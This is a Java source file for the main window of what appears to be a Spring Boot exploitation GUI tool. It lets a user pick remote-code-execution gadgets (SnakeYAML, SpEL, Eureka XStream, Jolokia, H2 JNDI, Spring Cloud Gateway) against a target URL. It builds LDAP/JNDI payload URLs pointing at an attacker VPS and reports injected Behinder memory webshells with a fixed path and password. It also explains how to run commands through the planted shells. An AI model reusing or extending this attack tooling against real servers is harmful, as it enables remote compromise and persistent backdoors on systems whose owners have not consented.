package com.drops.ui;

import com.drops.entity.ControllersFactory;
import com.drops.main.AttackService;
import com.drops.poc.SpringBootInfo;
import com.drops.utils.*;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.fxml.FXML;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
import javafx.scene.control.*;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.HBox;
import javafx.stage.Window;
import javafx.stage.WindowEvent;

import java.net.Authenticator;
import java.net.InetSocketAddress;
import java.net.PasswordAuthentication;
import java.net.Proxy;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
 * @ClassName: Gui
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/7/20 16:50
 * @Version: v1.0.0
 * @Description:
 **/
public class MainController {

    @FXML
    private MenuItem proxySetupBtn;
    public static Map currentProxy = new HashMap();
    // 设置 目标地址
    @FXML
    private TextField targetAddress;
 // 设置超时
    @FXML
    private TextField httpTimeout;
    @FXML
    private TextField vps;
    @FXML
    private Button crackKeyBtn;
    @FXML
    private Button crackSpcKeyBtn;
    @FXML
    public ComboBox<String> gadgetOpt;
    @FXML
    public ComboBox<String> echoOpt ;
    @FXML
    private Button crackGadgetBtn;
    @FXML
    private Button crackSpcGadgetBtn;
    @FXML
    public TextArea logTextArea;
    @FXML
    private Label proxyStatusLabel;
    @FXML
    private TextField exCommandText;
    @FXML
    public TextArea execOutputArea;
    @FXML
    private Button executeCmdBtn;
    @FXML
    public ComboBox<String> memShellOpt;
    @FXML
    private TextField shellPathText;
    @FXML
    private TextField shellPassText;
    @FXML
    private Button injectShellBtn;
    @FXML
    public TextArea InjOutputArea;

    public static TextArea ip;
    @FXML
    public TextField hport;
    @FXML
    public TextField lport;
    public static String hports;
    public static String lports;

    LDAPUtil ldapUtil = null;
    public AttackService attackService = null;


    @FXML
    void initialize() {
        this.initToolbar();
        this.initComBoBox();
//        this.initContext();
        this.initConnect();
        this.initAttack();
        ControllersFactory.controllers.put(MainController.class.getSimpleName(), this);
    }

    public void initAttack() {
        String targetAddressText = this.targetAddress.getText();
        String httpTimeoutText = this.httpTimeout.getText();
        boolean version = false;

        this.attackService = new AttackService(targetAddressText, httpTimeoutText);

    }

    private void initConnect() {
//        this.vps.setText("1.116.32.76");
        this.vps.setText("127.0.0.1");
        this.httpTimeout.setText("50");
        this.targetAddress.setText("http://127.0.0.1:9095");
        this.lport.setText("1389");
        this.hport.setText("3456");
    }



    private void initComBoBox() {
        ObservableList<String> gadgets = FXCollections.observableArrayList(new String[]{ "SnakeYAMLRCE", "SpELRCE", "EurekaXstreamRCE", "JolokiaLogbackRCE", "JolokiaRealmRCE", "H2DatabaseConsoleJNDIRCE", "SpringCloudGatewayRCE"});
        this.gadgetOpt.setPromptText("SnakeYAMLRCE");
        this.gadgetOpt.setValue("SnakeYAMLRCE");
        this.gadgetOpt.setItems(gadgets);
//        ObservableList<String> echoes =FXCollections.observableArrayList(new String[]{"TomcatEcho","SpringEcho"});
//        this.echoOpt.setPromptText("TomcatEcho");
//        this.echoOpt.setValue("TomcatEcho");
//        this.echoOpt.setItems(echoes);
//        this.shellPassText.setText("cat666");
//        this.shellPathText.setText("/catcat66");
//        final ObservableList<String> memShells = FXCollections.observableArrayList(new String[]{"哥斯拉[Filter]", "蚁剑[Filter]", "冰蝎[Filter]", "NeoreGeorg[Filter]", "reGeorg[Filter]", "哥斯拉[Servlet]", "蚁剑[Servlet]", "冰蝎[Servlet]", "NeoreGeorg[Servlet]", "reGeorg[Servlet]"});
//        this.memShellOpt.setPromptText("冰蝎[Filter]");
//        this.memShellOpt.setValue("冰蝎[Filter]");
//        this.memShellOpt.setItems(memShells);
//        this.memShellOpt.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener<Number>() {
//            @Override
//            public void changed(ObservableValue<? extends Number> observableValue, Number number, Number number2) {
//                if (((String)memShells.get(number2.intValue())).contains("reGeorg")) {
//                    MainController.this.shellPassText.setDisable(true);
//                } else {
//                    MainController.this.shellPassText.setDisable(false);
//                }
//
//            }
//        });



    }

    private void initToolbar() {
        this.proxySetupBtn.setOnAction(new EventHandler<ActionEvent>() {
            @Override
            public void handle(ActionEvent event) {
                final Alert inputDialog = new Alert(Alert.AlertType.NONE);
                inputDialog.setResizable(true);
                final Window window = inputDialog.getDialogPane().getScene().getWindow();
                window.setOnCloseRequest(new EventHandler<WindowEvent>() {
                    @Override
                    public void handle(WindowEvent e) {
                        window.hide();
                    }
                });
                ToggleGroup statusGroup = new ToggleGroup();
                RadioButton enableRadio = new RadioButton("启用");
                final RadioButton disableRadio = new RadioButton("禁用");
                enableRadio.setToggleGroup(statusGroup);
                disableRadio.setToggleGroup(statusGroup);
                HBox statusHbox = new HBox();
                statusHbox.setSpacing(10.0D);
                statusHbox.getChildren().add(enableRadio);
                statusHbox.getChildren().add(disableRadio);
                GridPane proxyGridPane = new GridPane();
                proxyGridPane.setVgap(15.0D);
                proxyGridPane.setPadding(new Insets(20.0D, 20.0D, 0.0D, 10.0D));
                Label typeLabel = new Label("类型：");
                final ComboBox<String> typeCombo = new ComboBox();
                typeCombo.setItems(FXCollections.observableArrayList(new String[]{"HTTP", "SOCKS"}));
                typeCombo.getSelectionModel().select(0);
                Label IPLabel = new Label("IP地址：");
                final TextField IPText = new TextField();
                Label PortLabel = new Label("端口：");
                final TextField PortText = new TextField();
                Label userNameLabel = new Label("用户名：");
                final TextField userNameText = new TextField();
                Label passwordLabel = new Label("密码：");
                final TextField passwordText = new TextField();
                Button cancelBtn = new Button("取消");
                Button saveBtn = new Button("保存");
                saveBtn.setDefaultButton(true);
                if (currentProxy.get("proxy") != null) {
                    Proxy currProxy = (Proxy) currentProxy.get("proxy");
                    String proxyInfo = currProxy.address().toString();
                    String[] info = proxyInfo.split(":");
                    String hisIpAddress = info[0].replace("/", "");
                    String hisPort = info[1];
                    IPText.setText(hisIpAddress);
                    PortText.setText(hisPort);
                    enableRadio.setSelected(true);
                    System.out.println(proxyInfo);
                } else {
                    enableRadio.setSelected(false);
                }

                saveBtn.setOnAction(new EventHandler<ActionEvent>() {
                    @Override
                    public void handle(ActionEvent e) {
                        if (disableRadio.isSelected()) {
                            currentProxy.put("proxy", (Object) null);
//                    this.proxyStatusLabel.setText("");
                            inputDialog.getDialogPane().getScene().getWindow().hide();
                        } else {
                            String type;
                            String ipAddress;
                            if (!userNameText.getText().trim().equals("")) {
                                ipAddress = userNameText.getText().trim();
                                type = passwordText.getText();
                                final String finalIpAddress = ipAddress;
                                final String finalType = type;
                                Authenticator.setDefault(new Authenticator() {
                                    @Override
                                    public PasswordAuthentication getPasswordAuthentication() {
                                        return new PasswordAuthentication(finalIpAddress, finalType.toCharArray());
                                    }
                                });
                            } else {
                                Authenticator.setDefault((Authenticator) null);
                            }

                            currentProxy.put("username", userNameText.getText());
                            currentProxy.put("password", passwordText.getText());
                            ipAddress = IPText.getText();
                            String port = PortText.getText();
                            InetSocketAddress proxyAddr = new InetSocketAddress(ipAddress, Integer.parseInt(port));
                            type = ((String) typeCombo.getValue()).toString();
                            Proxy proxy;
                            if (type.equals("HTTP")) {
                                proxy = new Proxy(Proxy.Type.HTTP, proxyAddr);
                                currentProxy.put("proxy", proxy);
                            } else if (type.equals("SOCKS")) {
                                proxy = new Proxy(Proxy.Type.SOCKS, proxyAddr);
                                currentProxy.put("proxy", proxy);
                            }

//                    this.proxyStatusLabel.setText("代理生效中: " + ipAddress + ":" + port);
                            inputDialog.getDialogPane().getScene().getWindow().hide();
                        }

                    }
                });
                cancelBtn.setOnAction(new EventHandler<ActionEvent>() {
                    @Override
                    public void handle(ActionEvent e) {
                        inputDialog.getDialogPane().getScene().getWindow().hide();
                    }
                });
                proxyGridPane.add(statusHbox, 1, 0);
                proxyGridPane.add(typeLabel, 0, 1);
                proxyGridPane.add(typeCombo, 1, 1);
                proxyGridPane.add(IPLabel, 0, 2);
                proxyGridPane.add(IPText, 1, 2);
                proxyGridPane.add(PortLabel, 0, 3);
                proxyGridPane.add(PortText, 1, 3);
                proxyGridPane.add(userNameLabel, 0, 4);
                proxyGridPane.add(userNameText, 1, 4);
                proxyGridPane.add(passwordLabel, 0, 5);
                proxyGridPane.add(passwordText, 1, 5);
                HBox buttonBox = new HBox();
                buttonBox.setSpacing(20.0D);
                buttonBox.setAlignment(Pos.CENTER);
                buttonBox.getChildren().add(cancelBtn);
                buttonBox.getChildren().add(saveBtn);
                GridPane.setColumnSpan(buttonBox, 2);
                proxyGridPane.add(buttonBox, 0, 6);
                inputDialog.getDialogPane().setContent(proxyGridPane);
                inputDialog.showAndWait();
            }
        });
    }


    public void crackSpcGadgetBtn(ActionEvent actionEvent) {
        if (this.attackService == null) {
            this.initAttack();
        }

        if (!this.vps.getText().equals("") && !this.targetAddress.getText().equals("")){
            if (this.gadgetOpt.getValue().equalsIgnoreCase("spelrce")){
                SpelUtils spel = new SpelUtils();
                String poc = spel.SpelExpr(this.vps.getText());
                String ssti = spel.SpelSsti(this.vps.getText());
                this.logTextArea.appendText(Utils.log("Payload 食用方法示例：http://127.0.0.1:9091/article?id=Payload"));
                this.logTextArea.appendText(Utils.log("ldap://" + this.vps.getText() + ":1389/basic/TomcatMemShell3"));
                this.logTextArea.appendText(Utils.log(poc));
                this.logTextArea.appendText(Utils.log(ssti));
            }else {
                boolean flag = this.attackService.gadgetSend(this.targetAddress.getText(),
                        this.vps.getText(),this.gadgetOpt.getValue(),this.getPorts());
                if(flag){
                    System.out.println(this.gadgetOpt.getValue());
                    if (this.gadgetOpt.getValue().equalsIgnoreCase("SpringCloudGatewayRCE")){
                        this.logTextArea.appendText(Utils.log(" SpringCloudGateway 漏洞利用成功"));
                        this.logTextArea.appendText(Utils.log(" 请自行检查是NettyMemshell 还是 SpringRequestMappingMemshell！"));
                        this.logTextArea.appendText(Utils.log(" 如果是SpringRequestMappingMemshell，/?cmd={cmd} 执行命令"));
                        this.logTextArea.appendText(Utils.log(" 如果是NettyMemshell，header头 X-CMD: {cmd} 执行命令"));
                    }else {
                        if (HTTPUtils.getRequest(String.valueOf(this.targetAddress.getText()),"ateam").isOk()){
                            this.logTextArea.appendText(Utils.log("  冰蝎内存马注入成功 !"));
                            this.logTextArea.appendText(Utils.log( "  /ateam 密码：ateamnb"));
                        }else {
                            this.logTextArea.appendText(Utils.log("漏洞利用失败！\t"));
                        }
                    }
                }else {
                    this.logTextArea.appendText(Utils.log("漏洞利用失败！\t"));
                }
            }
        }

    }

    public void crackGadgetBtn(ActionEvent actionEvent) {
    }
    // 验证服务端是否配置成功
    public boolean connect() {
        try {
            String vps = this.vps.getText();
            if(!vps.isEmpty()){

                // 判断http 服务是否生效
                if(HTTPUtils.getRequest(vps + ":" + hport.getText() ,"isOK.txt").getStatus() == 200){
                    this.logTextArea.appendText(Utils.log("HTTP Server Is OK!"));
                    this.logTextArea.appendText(Utils.log("HTTP Server Is Working " + vps + " 的 3456 Port!"));
                    // 判断 ldap 服务是否生效
//                    if(ldapUtil.sendLDAPRequest(vps)){
//                        this.logTextArea.appendText(Utils.log("LDAP Server Is OK!"));
//                        this.logTextArea.appendText(Utils.log("LDAP Server Is Working " + vps + " 的 1389 Port!"));
//                        return true;
//                    }else {
//                        this.logTextArea.appendText(Utils.log("LDAP Server 绑定 1389 端口失败!"));
//                        this.logTextArea.appendText(Utils.log("请检查 " + vps + " 的 1389端口是否被占用！"));
//                    }
                    return true;
                }else {
                    this.logTextArea.appendText(Utils.log("HTTP Server 绑定 3456 端口失败！"));
                    this.logTextArea.appendText(Utils.log("请检查 " + vps + "的3456端口是否被占用！"));
                }
            }
        }catch (Exception e){
            this.logTextArea.appendText(Utils.log(e.getMessage()));
        }

        return false;
    }



    public void check(ActionEvent actionEvent) {
        try {
            SpringBootInfo info = new SpringBootInfo();
            info.doCheck(this.targetAddress.getText());
        }catch (Exception e){
            this.logTextArea.appendText(Utils.log(e.getMessage()));
        }
    }
    public  String[] getPorts(){

        String[] result = new String[]{this.hport.getText(),this.lport.getText()};

        return result;
    }


}
